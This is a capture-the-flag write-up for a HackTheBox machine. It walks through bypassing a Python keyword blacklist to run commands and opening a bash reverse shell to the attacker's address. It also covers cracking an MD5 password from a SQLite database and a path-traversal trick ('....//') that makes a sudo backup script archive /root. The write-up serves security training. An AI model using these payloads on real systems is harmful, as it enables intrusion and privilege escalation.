Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Maquinas/Machine Code.en.md READ_ONLY

Machine Code

This machine consists of bypassing a restricted-word filter in a Python web application to achieve remote command execution and the solution consists of obtaining a reverse shell, extracting credentials from a SQLite database, and escalating privileges by exploiting a backup script vulnerable to path traversal.

Reconnaissance

  1. Identifying the operating system through ping
  • Since the TTL is close to 64, the machine can be identified as Linux.
  1. Identifying open ports with Nmap
  • First, perform a basic scan to identify the open ports on the machine1
  • Then run a more detailed scan to identify the services and versions running on the server
  1. Reviewing the website on port 5000
  • The page shows a platform that executes Python code:

  • Trying to import modules such as os displays a message saying a restricted word is being used:

  1. Bypassing the restricted-word filter
  • Try bypassing the restriction with the following payload2:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('ping -c 1 10.10.16.91')
  • With the attacker machine listening for ICMP traffic, this confirms the bypass works:

Unprivileged user access

  1. Obtaining a reverse shell
  • Since the word filter can be bypassed, send a reverse shell instead of an ICMP packet:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('bash -c "bash -i >& /dev/tcp/10.10.16.91/443 0>&1"')

  1. Unprivileged user flag
  • Move back one directory and the user flag can be found:

Privilege escalation

  1. Searching for files in the current directory and logging in as user martin
  • Run find . to list all files in the current working directory:

  • One file stands out, databasae.db, which file identifies as a SQLite database:

  • Open it with sqlite3 and inspect the user table:

  • The password for user martin is stored as MD5, so try recovering it:

  • Once the credentials are recovered (martin/nafeelswordsmaster), log in over SSH:

  1. Reviewing martin's privileges and modifying files
  • List what the user can run with sudo:

  • Looking at /usr/bin/backy.sh, it expects a JSON file, which in this case is located inside the backups directory:

  • The contents of task.json are:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}
  • Reading backy.sh, there is a line that removes every ../ from the JSON file:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
  • Since this is the only check, it can be bypassed with the following path:
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": true,
        "directories_to_archive": [
                "/home/....//root"
        ]
}
  1. Root flag
  • Execute backy.sh with the modified task.json:

  • Extract the archive created by the script:

  • Enter the extracted directory and retrieve both the root flag and a private SSH key:

Footnotes

  1. There was an earlier scan without a screenshot. The command used was: nmap -sS -p- --open --min-rate 5000 -n -Pn 10.10.11.62 -oG allPorts

  2. Explanation: This bypass works because the interpreter restricts keywords with a text blacklist, but in Python it is possible to reconstruct those names dynamically and access sensitive objects through alternative paths. print.__self__ returns the builtins module, which contains __import__. With getattr(print.__self__, '__im' + 'port__'), the name __import__ is assembled dynamically, avoiding the literal string and bypassing the filter. Then the os module is imported without writing "os" directly ('o' + 's'), and its system function is accessed with getattr(test, 'sy' + 'stem'). This allows arbitrary command execution with os.system(...) without using any of the blocked words.